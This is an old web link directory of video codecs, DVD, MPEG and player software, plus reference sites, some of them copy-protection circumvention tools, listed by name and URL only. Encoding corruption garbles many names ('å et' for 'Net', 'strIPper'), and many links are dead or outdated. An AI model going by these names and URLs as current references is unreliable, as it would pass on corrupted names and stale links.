Alparysoft Lossless Video Codec **1.5 beta build 748.31128**	**http://www.alparysoft.com/prod/compression/lossless-video-codec.php**

CamStudio Lossless Codec 1.0	**http://www.rendersoftware.com/products/camstudio/codecs.htm (Dead site*)**
HuffYUV 2.1.1 (Mirror)	http://neuron2.net/www.math.berkeley.edu/benrg/huffyuv.html
HuffYUV 2.1.1 CCESP Patch 0.2.2	http://doom9.org
loco004 Lossless YV12 Codec	http://forum.doom9.org/attachment.php?s=&postid=312334
On2 (VP6)	**http://www.on2.com**
TechSmith Screen Capture Codec	http://www.techsmith.com/products/studio/codec.asp
VBLE Lossless YV12 Codec	http://forum.doom9.org/showthread.php?s=&postid=319081#post319081
YMPEG 0.2 Alpha	**http://www.geocities.com/ymotiwala/ympeg.html**

Collection Managers

Ant Movie Catalog 3.4.2	http://www.antp.be/software/moviecatalog/
DVD Profiler 2.1.0	http://www.dvdprofiler.com
MovieTrack 3.2b	**http://www.movietrack.net**
å BS Catalogue 2.8.6	http://www.nbsi.de

Commercial Demos ▲

AlamDV2	http://fxhome.com/alamdv2
ASVZZZ	http://www.asvzzz.com
Attila Mezei	http://www.dvunlimited.com
AVI_IO	http://www.nct.ch/multimedia/avi_io
Baobab DV Converter	http://www.baobab.net/softcs.htm
CDRoller	http://www.cdroller.com
Cinema Craft	http://www.cinemacraft.com/eng/home.html
DiGi Studio	http://www.dv99.com
DVDStrIPper 0.2.0 (no demo)	**http://www.dvdstrIPper.com**
DynaPel	http://www.dynapel.com/com/private/index.htm
Ligos (Indeo CODECs)	http://www.ligos.com
Lost Marble	http://www.lostmarble.com
Main Concept	http://www.mainconcept.com
Weekly Free Texture Loops	http://www.mainconcept.com/texture_loops.shtml
MediaChance	http://www.mediachance.com/digicam
MicroDVD	http://www.tiasoft.de
Moonlight (formerly Elecard)	http://moonlight.co.il
Morgan Multimedia	http://www.morgan-multimedia.com
Morgan MJPEG vs. MainConcept MJPEG	web link

Morgan MJPEG vs. PicVideo MJPEG	web link
Pegasus Imaging	http://www.pegasusimaging.com/capture.htm
Pegasys (TMPG Enc)	http://www.pegasys-inc.com/e_main.html
Pure Motion	http://www.puremotion.com
RAD Game Tools	http://www.radgametools.com
Scenalyzer	http://scenalyzer.com
shortcut	http://www.shortcut.nl
SnapStream Media	http://www.snapstream.com
SpotRemover 3.5.4	http://konstant.freeshell.org
Stream Down 2.5	http://stream-down.cocsoft.com
Stream SubText	http://hem.passagen.se/jmorones/Pages/StreamSubText.htm
Swish	http://www.swishzone.com
Teco	http://www.tecoltd.com
The Badham Company	http://www.badhamcompany.com
videotools.net	http://www.videotools.net

DV ▲

abcdv	http://www.abcdv.com
Adam Wilt	http://www.adamwilt.com
Avid Free DV	http://www.avid.com/forms/info.asp?iTrackingID=7682
Canopus DV Utilities	http://www.canopus.com/US/products/free_utilities/pm_free_utilities.asp
Digital Video and IEEE-1394 Technical Papers and Videos	http://www.chumpchange.com/parkplace/Video/TechPapers.htm
DV	http://www.dv.com
DV Format	http://www.dvformat.com
DV Info å et	http://www.dvinfo.net
DV Video Data and AVI Files	http://www.microsoft.com/whdc/hwdev/tech/stream/vidcap/dvavi.mspx
DV webboard	http://www.coastweb.de/dv
dvbackup 0.98 (Unix)	http://dvbackup.sourceforge.net
DVCAM Format Overview	http://www.sony.ca/dvcam/pdfs/dvcam format overview.pdf
DVIO **1.32**	http://www.carr-engineering.com/dvio.htm
DVSPOOF(ECC) 0.1	http://members.trIPod.com/~liaor
DVSpoof 1.3 beta	http://www.afterdawn.com/software/video_software/video_tools/dvspoof.cfm
dvspot	http://www.dvspot.com
DVTransfer	http://www.badchicken.com/DVTransfer (Dead site*)
greatdv	http://www.greatdv.com
IEEE1394 - å ew Interface for the Digital å etwork Age	http://www.sony.ca/dvcam/pdfs/Sony IEEEwhite Paper.pdf
labDV	http://www.labdv.com

Linux DV	http://kino.schirmacher.de
Martin Smola	http://ns.sps.volyne.cz/set1394/anin/analog.html
Mike Laba	http://icqphone.ru/video2tv
pure motion	http://www.puremotion.com
Quasar DV Codec: libdv	http://libdv.sourceforge.net
Ross McLennan's Firewire SVCD'S and DVD pages	http://www.geocities.com/aussie01au
Simply DV	http://www.simplydv.co.uk
Software DV codecs	http://members.home.net/dgcom/MiniDV/DVcompressors.htm (Dead site*)
Tape Resources FAQ	http://www.taperesources.com/faq.html
The DIY Camcorder Site	**http://www.do-it-yourself.netfirms.com (Dead site*)**
~~**The DV Non Linear Editing Page**~~	~~**http://www.geocities.com/dvnle (Dead site)**~~
The Silver List	http://www.well.com/user/richardl/SilverListFrameSet.html
The Video Domain	http://www.geocities.com/CapeCanaveral/Hangar/1104/
Titch's Pitch - Digital Video	http://www.titchpitch.rpein.com/dv/htm/vi-tIPs.htm
Using the Sony DCR-TRV900 Camcorder	http://www.bealecorner.com/trv900
WinDV 1.2.3	http://windv.mourek.cz
Zwei-Stein 3.01	http://www.thugsatbay.com/zweistein

DVD ▲

Accessible DVDs	http://www.joeclark.org/access/dvd
ChapterXtractor 0.962	http://christophe.paris.free.fr (Dead site*)
Chopper XP 2.7	http://www.digital-miner.com/chopperXP.html
CladDVD.å et 3.4.0	http://www.clonead.co.uk
CrazyPants Productions	http://www.crazypants.com
Daemon Tools 3.4**3**	http://www.daemon-tools.cc
Danni Din	http://go.to/DanniDin
Daniel Vollmer	http://www.maven.de/code
DoItFast4U! 1.**4.0**	**http://www.doitfast4u.com**
DVD Burner Test Files	http://mpucoder.kewlhair.com/burner_tests.html (Dead site*)
DVD Decrypter 3.1.7.0	http://www.dvddecrypter.com
DVD FAQ	http://dvddemystified.com/dvdfaq.html
DVD Identifier **3.2**	http://dvdplusid.cdfreaks.com
DVD Player Compatibility List	http://www.homemovie.com/compatibility.htm
DVD Players region code, macrovision hacks list	http://www.dvdrhelp.com/dvdhacks.php

DVD Shrink 3.0 beta 5	http://www.dvdshrink.org
DVD Subtitle Tools	**http://web.quick.cz/FKasparek/Software/DVD/DVDSupTools.htm**
DVD Synth	http://roundelay.net/dvdsynth/prerelease.html (Dead site*)
DVD-Create 0.1.1 (Linux)	http://www.dvd-create.sourceforge.net
DVD-Create 0.5.0	https://sourceforge.net/projects/dvd-create
DVD-Video Information	http://mpucoder.kewlhair.com/DVD
DVDFab 0.17.0	http://www.mrbass.org/dvdfab
DVDFab **Lite 1.02**	http://www.dvdfab.com/index_e.html
DVDPatcher v1.06	http://mitglied.lycos.de/dvdpatcher
DVDShrink Guide	http://www.mrbass.org/dvdshrink
DVDStrIPper - Splitting	**http://www.mpegit.net/dvdstrIPper_splitting.php**
DVDtoOgm 1.10 alpha	http://mitglied.lycos.de/delphitools/DVDtoOgm/Main.htm
Gallery of CSS Descramblers	http://www-2.cs.cmu.edu/~dst/DeCSS/Gallery
IfoEdit 0.95 / VobEdit 0.6	http://mpucoder.kewlhair.com/derrow/index.html http://www.doom9.org
IfoEdit Guide	http://www.mpegit.net/eng_ifoedit.php
IfoUpdate 0.72	http://www.doom9.org
ImgTool Burn 1.**1.0**/Classic 0.90 **b9**/Tool 0.89	web link
Is it easy to understand DVD format?	http://web.archive.org/web/20011024182535/http://dvdpro.com/dvd.htm
IsoBuster 1.**5**	http://www.smart-projects.net/isobuster
MackemX's DVD9 to DVD5 Guides	**http://dialspace.dial.pIPex.com/town/pIPexdsl/o/aovf74/backup**
SmartRIPper 2.41	http://www.afterdawn.com/software/video_software/dvd_rIPpers/smartrIPper.cfm
~~**SolidVob**~~	~~**http://www.solidvob.com**~~
StrIPping with DVDStrIPper	**http://www.mpegit.net/dvdstrIPper_basic.php**
SVCD2DVDMPG 1.1 / SVCD2DVDMPG+ 1.0.1239.24894	http://www.svcd2dvdmpg.com
TMPGEnc DVD Author User Guide	http://www.chrismccann.co.uk/tmpgenc_dvd_author.htm
Trilight - The Guides	http://dvdguides.trilight.net
VOBrator 0.2b	http://www.doom9.org http://www.labdv.com
VOB Trailers	http://www.cinenow.com/us/vobtrailer.php3

Final Cut Pro ▲

Ken Stone's Final Cut Pro	http://www.kenstone.net/fcp_homepage/fcp_homepage_index.html

Los Angeles Final Cut Pro Users Group	http://www.lafcpug.org
Stephen Schleicher	http://www.mindspring.com/~schleicher
stib's FXScrIPt download page	http://www.scrIPtgeek.netfirms.com
The DV Guys	http://www.dvguys.com
TriLab Prodution	http://www.animationsforvideo.com/html/tutorials.htm

Laserdisc ▲

AC-3 for the CLD-1090 and CLD-XXXX	http://kahuna.sdsu.edu/~tucker/diyaudio/ac3rfmod/ac3rfmod.html
AC-3 Laserdisc Modification board - installed in a Pioneer CLD-D703	http://www.mnns.com/~ka0ywn/laserdisc.html
DIY Dolby Digital Modification Page	http://www.laaudiofile.com/ac3mod.html
LaserDiscs and AC-3	http://members.aol.com/chunter/ac-3mod.html
Modify the Pioneer CLD-S104 Laser Disc player for AC-3 RF output	http://randyrathbun.org/diy
Pioneer CLD-1450 mods	http://www.cs.tut.fi/~leopold/AV/CLD1450
Pioneer CLD-D703 Dolby Digital Modification	http://www.oz.net/blam/LaserDisc/CLD-D703_modification.htm
Precision Laserdisc	http://www.precisionlaserdisc.com

Miscellaneous ▲

Alternative Movie Database 1.4 Beta 1	http://www.steffensiebert.de/amdb/index.html
AMDbFront 3.0.27 for MySQL	http://www.amdbfront.com/
Aspect 1.1.99.0	**http://geocities.com/vestadomain/videoutils.html**
Bill Luken's Software	http://home.earthlink.net/~wmluken2/bill2sw.htm
Blender 2.26	http://www.blender.org
Bombay Electronics	http://www.bombayelectronics.com/vcr/
Boris Free Emboss filter for Avid	http://borisfx.com/download/emboss.php
Build Your Own LCD Video Projector	http://www.audiovisualizers.com/madlab/lcd_proj.htm
Caligari trueSpace 3.2	web link
CinePaint 0.18	http://cinepaint.sourceforge.net
CamStudio 2.0 (Screen Video Capture)	http://www.rendersoftware.com

Composite Components Company	http://www.digitalgreenscreen.com
Digital Media Consumer Rights Act	http://action.eff.org/action/index.asp?step=2&item=2421
enc 1.03	http://jonny.leffe.dnsalias.com/enc/
epanorama	http://www.epanorama.net/index.php
Flash Movie Extract Pilot 1.00	http://www.colorpilot.com/extract.html
fontlover	http://www.fontlover.com
Fontz	http://www.fontz.ch
GooSystems	http://www.goosystems.com
IDE RAID Without Additional Hardware (Win2K)	http://www6.tomshardware.com/howto/20010906/index.html
Image Mosaic	http://www.cs.princeton.edu/~pshilane/mosaic
JMDb 1.0 beta 14 for MySQL	http://www.amdbfront.com/
Matroska **(Splitter 1.0.1.9)**	http://www.matroska.org
Omegadrive's Little Corner (ATI/Matrox Drivers)	http://www.omegacorner.com
Open/Close CD 1.20	http://www.rjlsoftware.com/software/utility/open_cd
Panorama Tools	http://www.path.unimelb.edu.au/~dersch
POV-Ray 3.5	http://www.povray.org
Remote Central	http://www.remotecentral.com
Satish Kumar	http://www.debugmode.com
sci.electronics.repair FAQ	http://www.repairfaq.org
Slide Show Movie Maker 3.2.2	http://www.joern-thiemann.de/tools/ssmm
small movies	http://www.city-net.com/~fodder/index.html
Snaggs Projector Reference	http://www.snaggs.com/projector
SyncIMDB 1.0	http://home.planetinternet.be/%7Eic521102/
The Monster Makers	http://www.monstermakers.com
The Phantom Editor	http://www.thephantomeditor.com
Trick Custom Monopod	http://www3.edittrain.com/dtr/DTRDetail.asp?offset=14&articleID=148
VFW-WDM Wrapper	http://shopgeo.virtualave.net/wrapper.zIP
VIDCAM'S Maintenance Pages	http://www.vidcam.com.au/vcr.html
VIDCAM Repair Information	http://users.bigpond.net.au/vidcam/
vovoid	http://visuals.free.vovoid.com

MPEG ▲

~~**ADS Instant DVDweb link**~~

~~**Customer Reviews**~~	
~~**BatchCCEWS 0.9.1.0 Beta**~~	~~**http://www.dvdr-digest.com/software/batchcccews.html**~~
bbMPEG 1.24 beta 18	http://members.cox.net/beyeler/bbmpeg
Bicubic Resize Filter 1.3b	http://www.divx-digest.com/software/bicubic_resize_filter.html
Camel's MPEGJoin 1.0.7b	http://member.newsguy.com/~theprof
CodecPage	http://www.codecpage.com
Combat Man	http://www.musclesoft.de/combatman/sindex.html
Configuring TMPGEnc for high-quality, DVD-compliant MPEG-2	http://dvd-hq.info/Compression.html
DeXT's Stuff	http://es.geocities.com/dextstuff
~~**DoCCE4U 1.0.1.5 beta**~~	~~**http://docce4u.panthersden.com**~~
Encoder Test	http://www.tecoltd.com/enctest/enctest.htm
ffmpeg 2003-08-22	http://ffmpeg.sourceforge.net/
ffmpeg for Windows	http://www.geocities.com/hstink/
GOPChop (Linux) 0.9.1	http://outflux.net/unix/software/GOPchop
GPL command line M2V transcoder	**http://forum.doom9.org/showthread.php?s=&threadid=62849**
HDTVtoMPEG2 1.07	http://www.midwinter.com/~bcooley
Heroine Warrior (Linux)	http://www.heroinewarrior.com
~~**How to make your Instant DVD 100 times better!**~~	~~**http://www.geocities.com/zambonigod2000/IDVD.htm**~~
libmpeg2 0.3.1	http://libmpeg2.sourceforge.net
MPEG Mediator 1.5	http://www.mpeg-mediator.com
MPEG Properties 1.00	http://www.medialab.se/mpgprop_e.html
MPEG-2 Reference Code	ftp://mm-ftp.cs.berkeley.edu/pub/multimedia/mpeg2/software
MPEG-2 SDE Patch 1.5	http://www.geocities.com/eby_vdo
Mpeg2 Strikes Back: Getting the best of CinemaCraft Encoder	**web link**
MPEG2Cut 1.15	http://darkav.de.vu
MPEGed 1.00 RC3	http://fileforum.betanews.com/detail.php3?fid=947310275
ả ic's XviD Binaries	http://nic.dnsalias.com
offeryn	http://www.offeryn.de/dv.htm
ReJig 0.5c	**http://www.rejig.org**
ReStream 0.9.0	http://shh.dvdboard.de

Stoik Video Converter 1.0	http://www.divx-digest.com/software/stoik_video_converter.html
SVCD Tools	http://www.geocities.com/SiliconValley/4942/svcd.html
TMPG Enc.	http://www.tmpgenc.net/e_main.html
WoofSoft (BatchCCEWS 0.9.1.2 ~~Beta~~ / DoPulldown 1.0.0.0)	**http://www.woofsoft.com**

MPEG-4 (DivX, XviD)	▲
3ivx D4 4.**5**	http://www.3ivx.com
Aspirator 1.1.4 Restart	http://aspirator.phpnet.org
Auto DivX 5 1.08	http://www.freewebs.com/llemor
AutoDub XP 1.7.5	http://www.video-tools.com
AvIPreview 0.78beta	http://www.divx-digest.com/software/avIPreview.html
DivFix 1.10	http://divfix.maxeline.com
DivX ,-) Repair Guide 3.3	**http://divxstation.com/article.asp?aId=39**
DivX 5 Enc 1.11	http://jonny.leffe.dnsalias.com
DivX 5.1**.1**	http://www.divx.com
DivX DRF Analyzer 0.9.5	http://www.geocities.com/analyzerdrf/
DivXAuto 40b	http://www.divx-digest.com/software/divxauto.html
DivXBase 0.04beta	**http://divxbase.easysoft.dk (Dead site*)**
DivXRepair 1.0.1	http://divxrepair.sourceforge.net
Fair Use 0.3**3b**	http://fairuse.sourceforge.net
Gordian Knot 0.28.**7**	http://sourceforge.net/projects/gordianknot
HowTo: Stop those DivX's from freezing	http://ephestione.altervista.org/ephestione/main.htm?nfos/FixDivX.htm
Koepi XviD builds	http://www.roeder.goe.net/~koepi
MP4Menu: easily create DVD-like Menus in MP4 now	**http://forum.doom9.org/showthread.php?s=&threadid=66583**
mp4UI 0.95a	http://www.mediacruiser.de/mp4UI
MPEG4IP **1.0RC1**	http://www.mpeg4IP.net
MPEG4IP Tools 0.9.8.4	http://es.geocities.com/dextstuff/
mpegable AVI 2.03	web link
nandub 1.0 rc2	http://ndub.sourceforge.net/
å ic's XviD Binaries	http://nic.dnsalias.com
SimpleDivX 1.23	http://members.lycos.nl/simpledivx/
TellMeAboutDivx 0.15	http://divxcataloger.webpark.pl/tellme.html
XMPEG 5.0**3**	http://www.mp3guest.com/Xmpeg_Index.asp?l=US
XviD **1.0 beta2**	http://www.xvid.org
XviD Analyzer 0.22	http://www.geocities.com/aleksikerayno/

MS Media (ASF,	▲

WMV)

American WMV 1.02	http://www.geocities.com/americanwmv
ASF Download	http://dummy.linux.net.cn/~yaan2
Asfcut 3.92.09	http://www.radioactivepages.com
ASFCutGUI 1.21	http://guiguy.wminds.com/downloads/asfcutgui/
ASFIndexGUI 2.0	http://guiguy.wminds.com/downloads/asfindexgui/
ASFRecorder 1.1	http://www.divx-digest.com/software/asf_recorder.html
AsfTools 3.1	http://www.geocities.com/myasftools
FX Batch Windows Media Encoder	http://www.jhepple.com/batchencoder.htm
GetASFStream 2.**1.0.2c**	http://www.geocities.co.jp/SiliconValley-PaloAlto/9000/soft6.html
makeASX 1.42	http://www.ewertb.com/download/makeASX.html
Microsoft Windows Media CODECs	http://www.microsoft.com/Windows/Windowsmedia/format/codecdownload.asp
å et Transport 1.31	http://lycos26486.l78.lycos.com.cn
å ic's XviD Binaries	http://nic.dnsalias.com
Streaming Download Project Receiver 2.0.0	http://sdp.ppona.com
Windows Media 8 Encoder GUI 1.41	http://www.abdn.ac.uk/~u71ds/wm8egui (Dead site*)
Windows Media 8 Encoder Utility/Front End 0.4 beta	http://www.geocities.com/wm8eu
Windows Media 9 Series	http://www.microsoft.com/Windows/Windowsmedia
Windows Media Encoder 8 Front-End	http://xisoft.web1000.com/prodwm8.htm (Dead site*)
Windows Media Encoder 9 Tutorial	http://www.video2stream.com/
Windows Media Recorder **9.0**	http://www.netfor2.com/WMR31.html
Windows Media Video 9 VCM Apparently, Microsoft can't spell "CODEC"	http://www.microsoft.com/Windows/Windowsmedia/9series/codecs/vcm.aspx
Windows Movie Maker 2	http://www.microsoft.com/WindowsXP/moviemaker

Pinnacle	▲
Eddy-FX	http://www.eddy-fx.com
Mike Shaw	http://www.mikeshaw.co.uk
Pinnacle Broadcast å etwork	http://www.pinnaclesys.com/pbn
Pinnacle Manuals	ftp://ftp.pinnaclesys.de/manuals/pc/
Sparky's World	http://www.sparkysworld.co.uk
StuEDL	http://pdc.ca/video/StuEDL

~~Title Deko 1.0 User's Guide~~	~~web link~~
Visual Appeal	http://www.video777.com

Players ▲

Alparysoft Video Quality Controller 0.1 beta build 015.030718	http://www.alparysoft.com/prod/quality-controller.phtml
AVIPreview by AJ 0.20 Alpha	http://www.avIPreview.com/avIPreview.htm
BSplay ~~0.86 build 501~~	**http://www.ranzigkot.be**
BSPlayer **1.00 RC1 build 800**	http://www.bsplayer.org
BSPlayer ChapMaker 1.50	http://www.ifrance.com/kpage/pages/down.htm
Compact Disc Autorun 0.2.1.1	http://www.utdallas.edu/~jeremy.bryan.smith/software/index.html
Core Media Player 4.0 RC**5** ~~(also Matroska version)~~	http://www.corecoded.com
Darwin Streaming Server **5.0**	http://developer.apple.com/darwin/projects/streaming/
DeckLaunch	http://www.arvidpedersen.com/decklaunch
Driverheaven - Driver Cleaner 1.0	http://www.driverheaven.net/showthread.php?threadid=10968
Envivio TV	http://envivio.com/products/etv
ffdshow 20030424 alpha and ffvfw 20020807	http://cutka.szm.sk
ffdshow 20031128 / ffvfw 20031028	**http://athos.leffe.dnsalias.com**
Heroine Warrior (Linux)	http://www.heroinewarrior.com
Hoonet	http://www.hoonnet.com
HW BSplayer Autorun 1.**683**	http://www.geocities.com/HWautorun/html/hwautorun_home_-_en.html
inmatrix (Zoom Player 3.**20**)	http://www.inmatrix.com
Maximus DVD 1.2	http://www.maximusdvd.com
MDVD Go! 1.0.3	http://www.sv-voelkersbach.de/privat/arabold/mdvdgo/index_en.html
Media Player Classic 6.4.**7.3**	http://www.gabest.org/mpc.php
MicroDVD	http://www.tiasoft.de
MicroDVD 1.2	http://www.divx-digest.com/software/microdvd.html
MicroDVD Autorun 1.93	http://thunder.host.sk/divxauto
MicroDVD Player Menu Maker 1.0b3	web link (Dead site*)

Morgan Stream Switcher 0.97	http://www.morgan-multimedia.com/mmswitch
MoviX (Linux)	http://movix.sourceforge.net
mpegable DS decoder 1.06	web link
mpegable Player 2.06	web link
mplayer 1.0Pre**2** (Linux)	http://www.mplayerhq.hu/homepage
mplayer win-32 beta 031013	**ftp://ftp.mplayerhq.hu/MPlayer/releases/win32-beta/**
å ostra DIVX 1.6	http://www.nostradivx.com
QuickTime 6.3	http://www.apple.com/quicktime/products/qt
QuickTime Streaming Server 4.1.3	http://www.apple.com/quicktime/products/qtss
RadLight 3.03 SE	http://www.radlight.net
ReClock DirectShow Filter 1.**2**	http://ogo.nerim.net/reclockfilter/
Sasami 2K build 757	http://sasami2k.new21.net/index2.html
Subtitled Media Player - DVlaD 1.3.2	http://users.pandora.be/vlad/subsync/dvlad.htm
Switch 1.0	http://www.divx-digest.com/software/switch.html
Trombettworks DirectShow Filters	http://www.trombettworks.com/directshow.php
UBW Player 5.8	http://www.divx-digest.com/software/ubw_player.html
Unreal Media Server	**http://umediaserver.net**
Using WMP7 with WMP6	http://www.undercut.org/articles/wmp7
VideoLAå Client 0.6.2 / Server 0.5.**3**	http://www.videolan.org
VIPlay 2.0**8**	http://www.redox.si/vIPlay/english/pages/home.htm
WhirlyWiryWeb ShellExe	http://www.whirlywiryweb.com/q/shellexe.asp (This in Iå CREDIBLY good!!!)
WMP Mini FAQ	http://www.nwlink.com/~zachd/pss/pss.html
WMP7 Interface Review	http://undercut.org/articles/wmp7review

QuickTime ▲

judyandrobert's Little QuickTime Page	http://www.judyandrobert.com/quicktime
QuickTime (Apple Developer)	http://developer.apple.com/quicktime
QuickTime 101	http://edvista.com/claire/qt
QuickTime Alternative 1.22	**http://fileforum.betanews.com/detail.php3?fid=1049831315**
QuickTime Authoring for Education	http://homepage.mac.com/qt4edu (Dead site*)

QuickTime Broadcaster	http://www.apple.com/quicktime/products/broadcaster
QuickTime for Educators	http://www.faculty.de.gcsu.edu/~flowney/quicktime/TS/QT4Ed
QuickTime Streaming Documentation	**http://developer.apple.com/documentation/quicktime/qtss**
QuickTime Virtual Reality for Educators and Just Plain Folks	http://www.edb.utexas.edu/teachnet/QTVR
The Basics of QuickTime 5	http://hotwired.lycos.com/webmonkey/01/42/index4a.html?tw=multimedia
TriLab Produtions	http://www.animationsforvideo.com/html/tutorials.htm
Tutorials	http://www.apple.com/quicktime/tools_tIPs/tutorials
VOD Recorder 2003-07-23	http://www.dkcasino.com/eng/vodrecorder.php3?prog_id=record1

Real Media ▲

AutoRV9 1.3	http://www.video-tools.com
GUImliRV9 0.9	http://www.divx-digest.com/software/guimlirv9.html
Helix Community	https://www.helixcommunity.org
å et Transport 1.**53**	http://lycos26486.l78.lycos.com.cn
Real Alternative 1.11	**http://fileforum.betanews.com/detail.php3?fid=1054136293**
Real Producer 9 Preview Front-End	**http://xisoft.web1000.com/realprod.htm (Dead Site*)**
R7C Real7ime Converter	http://pub25.ezboard.com/fstreemeboxvcrfrm7.showMessage?topicID=44.topic
RV9 Media Guide (French)	http://www.rv9.be.tf
TIå RA 0.05	http://members.fortunecity.com/tinra04
TinraGUI 1.4	http://guiguy.wminds.com/downloads/tinragui
VOD Recorder 2003-07-23	http://www.dkcasino.com/eng/vodrecorder.php3?prog_id=record1
x2real 0.5.4	http://www.lalternative.org

Reference - The Best ▲

2-pop	http://www.2-pop.com
A&E's Technical Guides to All Things Audio and Video	http://www.animemusicvideos.org/guides/avtech/index.html
Alawoona Institute for Streaming Media Recording	http://alawoona.netfirms.com
Ars Technica - Capturing, Cleaning, & Compressing Video	http://arstechnica.com/guide/audio-visual/videocapturing/vidcap-1.html
AV Science Ultimate	http://www.avsforum.com/avs-vb/index.php

Forum	
Closed Captioning FAQ	http://www.robson.org/capfaq
creative cow	http://www.creativecow.net
Determining the capture area of a capture card	**http://forum.doom9.org/showthread.php?s=&threadid=66191**
Digital Digest	http://www.digital-digest.com
Digital Media ả et	http://www.digitalmedianet.com
Digital Media ả et Forums	http://www.dmnforums.com
Digital Media ả et Tutorials	web link
Digital Video Editing	http://www.digitalvideoediting.com
DIY Project # 6 - A DIY Guide to Cleaning Your Video Cassette Recorder (VCR)	http://www.hometheaterhifi.com/volume_5_1/diy6vcrcleaning.html
diyAudio	http://www.diyaudio.com
Doom9	http://www.doom9.org
DVD Demystified	http://dvddemystified.com
DVDRHelp	http://www.dvdrhelp.com
Essential Video Resources	http://www.iki.fi/znark/video/
everwicked	http://www.everwicked.com
FreewareFanFilms	http://pub22.ezboard.com/bfreewarefanfilms
Internet Movie Database	http://us.imdb.com
Leopold's Comparison Between Audio Formats	http://www.cs.tut.fi/~leopold/AV/AudioFormats.html
Leopold's Home Video Formats Page	http://www.cs.tut.fi/~leopold/AV/VideoFormats.html
Luke's Video Guide	http://www.lukesvideo.com
MPEG Pointers and Resources	http://www.mpeg.org
neuron2's Video Processing	http://neuron2.net/board/index.php
Peachpit Press: Features	http://www.peachpit.com/features/
Ron Dexter	http://www.rondexter.com
Ross McLennan's Firewire SVCD'S and DVD pages	http://www.geocities.com/aussie01au
Snaggs Projector Reference	http://www.snaggs.com/projector (moved to Miscellaneous)
streamingmedia.com	http://www.streamingmedia.com/tutorials/listing.asp
Telecine Internet Group	http://www.colorist.org/tig3/

(Tektronix) Application å otes for Video Test	web link
The Chroma Upsampling Error and The Interlaced Chroma Problem	4:2:0 web link
The Firmware Page	http://perso.club-internet.fr/farzeno/firmware
The Luker's Guide to Video	**http://www.lurkertech.com/lg**
The Ultimate Guide to Anamorphic Widescreen DVD	**http://www.thedigitalbits.com/articles/anamorphic**
The WWUG's Digital Media Techniques Library	http://www.wwug.com/articles
Trilight - The Guides	http://dvdguides.trilight.net
TTOOLS	http://www.ttool.de/indexe.htm
What is deinterlacing?	http://www.100fps.com
Xesdeeni's Web Page (Standards Conversion)	http://www.geocities.com/xesdeeni2001

Reference - The Rest ▲

1-4a Ratio Calculator	http://www.1-4a.com/ratiocalculator
12 Hours of Shooting for a 4-Minute Music Video	http://www.chumpchange.com/parkplace/Video/MusicVideo.htm
A Guide to MPEG Fundamentals and Protocol Analysis	http://www.tek.com/Measurement/App_å otes/mpegfund/
Advanced Television Systems Committee	http://www.atsc.org/standards.html
American Widescreen Museum	http://www.widescreenmuseum.com
AVI Overview	http://www.jmcgowan.com/avi.html
Avid Impact	**http://www.avid.com/impact/index.html**
CD & DVD Documents	http://www.disctronics.co.uk/downloads/downloads_dvd.htm
Charles Poynton	http://www.poynton.com
Converging Computer and Television Image Portrayal	http://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/convrg.mspx
Cyber Film School	http://www.cyberfilmschool.com
CyberTheater Technology Reports	http://www.cybertheater.com/tech_reports_idx.html

David Bourgin's color spaces FAQ	http://www.scarse.org/docs/color_faq.html
Desktop Video	http://desktopvideo.about.com
DirectX	http://www.microsoft.com/directx
DV Effects (Blair Witch Project)	http://www.computerarts.co.uk/tutorials/misc (Dead site*)
efg's Color Reference Library	http://www.efg2.com/Lab/Library/Color
Elite Video Videography Information	http://www.elitevideo.com/newsltr.htm (Dead site*)
FlickTIPs	**http://www.newvenue.com/flicktIPs** ~~**(Dead site*)**~~
FOURCC for Video Compression	http://www.microsoft.com/whdc/hwdev/archive/devdes/fourcc.mspx
Gareth's Video Page	http://www.ghorne.pwp.blueyonder.co.uk/vidtest/vidframe.htm
Quality Concerns	http://www.ghorne.pwp.blueyonder.co.uk/vidtest/video.htm
hoozyermama's divx tutorial	http://www.hooz.org/divx.tutorial
How to convert a Flash video (*.SWF) to a Movie (*.AVI)	http://www.dvdrhelp.com/forum/userguides/105332.php
i4004	http://i4004.0catch.com
Indigenous Pictures	**http://www.indigIPix.com/videotIPs.htm (Dead site*)**
International CD-i Association	http://www.icdia.org
Jim Key's Guide to Video Projects	http://www.btinternet.com/~electric.eyes/JimKey1.htm
Leon's Lab	http://www.labdv.com/leon-lab/index_en.htm
lynda.com	http://www.lynda.com
Lucifer Jones	http://www.luciferjones.org
Macrovision FAQ Index 1.2	http://www.repairfaq.org/filIPg/LIå K/F_MacroVision.html
Microsoft - Audio/Speech Technologies	http://www.microsoft.com/whdc/hwdev/tech/audio/default.mspx
Microsoft - Streaming Devices	http://www.microsoft.com/whdc/hwdev/tech/stream/default.mspx
Microsoft - TV Technologies	web link
Mike Baker's Closed Caption decoder source code	ftp://ftp.tpt.org/pub/perm/cc.c
MPEG: homepage	http://viswiz.gmd.de/DVP/Public/deliv/deliv.211/mpeg/mpeghome.htm
MPEG video compression technique	http://tan.informatik.tu-chemnitz.de/~jan/MPEG/HTML/mpeg_tech.html
å icky Pages' Digital Solutions	http://nickyguides.digital-digest.com
OneRiver Media Codec Resource Site	**http://codecs.onerivermedia.com**

Ookami's multimedia related website	http://ookami.videoxone.de
PC Technology Guide	http://www.pctechguide.com/24digvid.htm
Purpleman	http://www.apachez.net/purpleman/guides.html
robshot	http://www.robshot.com
Sefy's Complete DVD Backup Guide v2.2	http://www.labdv.com/sefy-guide
Simulating Graph Building with GraphEdit	web link
Snell & Wilcox Reference Library	http://www.snellwilcox.com/reference.html
Spatial Oversampling	http://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/ovrsamp.mspx
Special Events Training Area	http://www.elitevideo.com/story/preinstruction.htm (Dead site*)
Television and Video Advice	http://members.aol.com/_ht_a/ajaynejr/video.htm?mtbrand=AOL_US
Television Production	http://www.internetcampus.com/tvp_ind2.htm
Temporal Rate Conversion	http://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/TempRate.mspx
The (Almost Definitive) FOURCC Definition List	http://www.fourcc.org
The ADS Forum	http://pub9.ezboard.com/bpyro1394
The Desk Top Video Handbook On Line ver 13.**9**	http://www.videoguys.com/dtvhome.html
The Kitty's Video Goodies	http://members.cox.net/movie_maker
The Scientist and Engineer's Guide to Digital Signal Processing	http://www.dspguide.com
The World's Earliest Television Recordings	http://www.tvdawn.com
THX Technical Library	http://www.thx.com/mod/techLib/index.html
TurnCD Files	http://www.chez.com/rIPitall/turncd.htm
undercut	http://www.undercut.org
Understanding SAMI 1.0	web link
Using the PhilIPs Video CD 2.0 Toolkit	http://www.dvdrhelp.com/VCD2TK_Index.htm
